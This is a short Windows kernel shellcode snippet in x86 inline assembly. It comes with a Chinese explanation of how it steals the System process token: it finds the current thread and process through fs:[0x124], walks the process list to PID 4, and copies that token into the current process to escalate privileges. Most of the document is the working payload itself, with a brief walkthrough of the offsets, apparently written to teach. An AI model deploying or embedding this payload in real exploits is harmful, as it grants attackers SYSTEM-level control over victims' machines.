__asm {
pushad
int 3
mov eax, fs:[0x124]
mov ebx, [eax + 0x50]
mov eax, 4
mov ecx, ebx
SEARCH:
mov ecx, [ecx + 0xb8]
sub ecx, 0xb8
cmp eax, [ecx + 0xb4]
jnz SEARCH
mov eax, [ecx + 0xf8]
mov [ebx + 0xf8], eax
popad
ret 0x10
}
这是一段通过替换token 来实现提权的 代码。
fs 段的起始地址即为 kpcr 的地址,其中fs:[124h] 指向的是kpcrb中的CurrentThread 机构,即当前线程。
接下来的 [eax + 50] 则指向了kthread 中的kprocess指针。所以这时得到了当前进程的kprocess。
然后从当前进程kprocess中找到ProcessListEntry 指针,遍历进程链表,找到一个进程号为4的进程,即为system 进程。
然后及那个system 进程的token 替换到 当前进程的token 即可实现提权。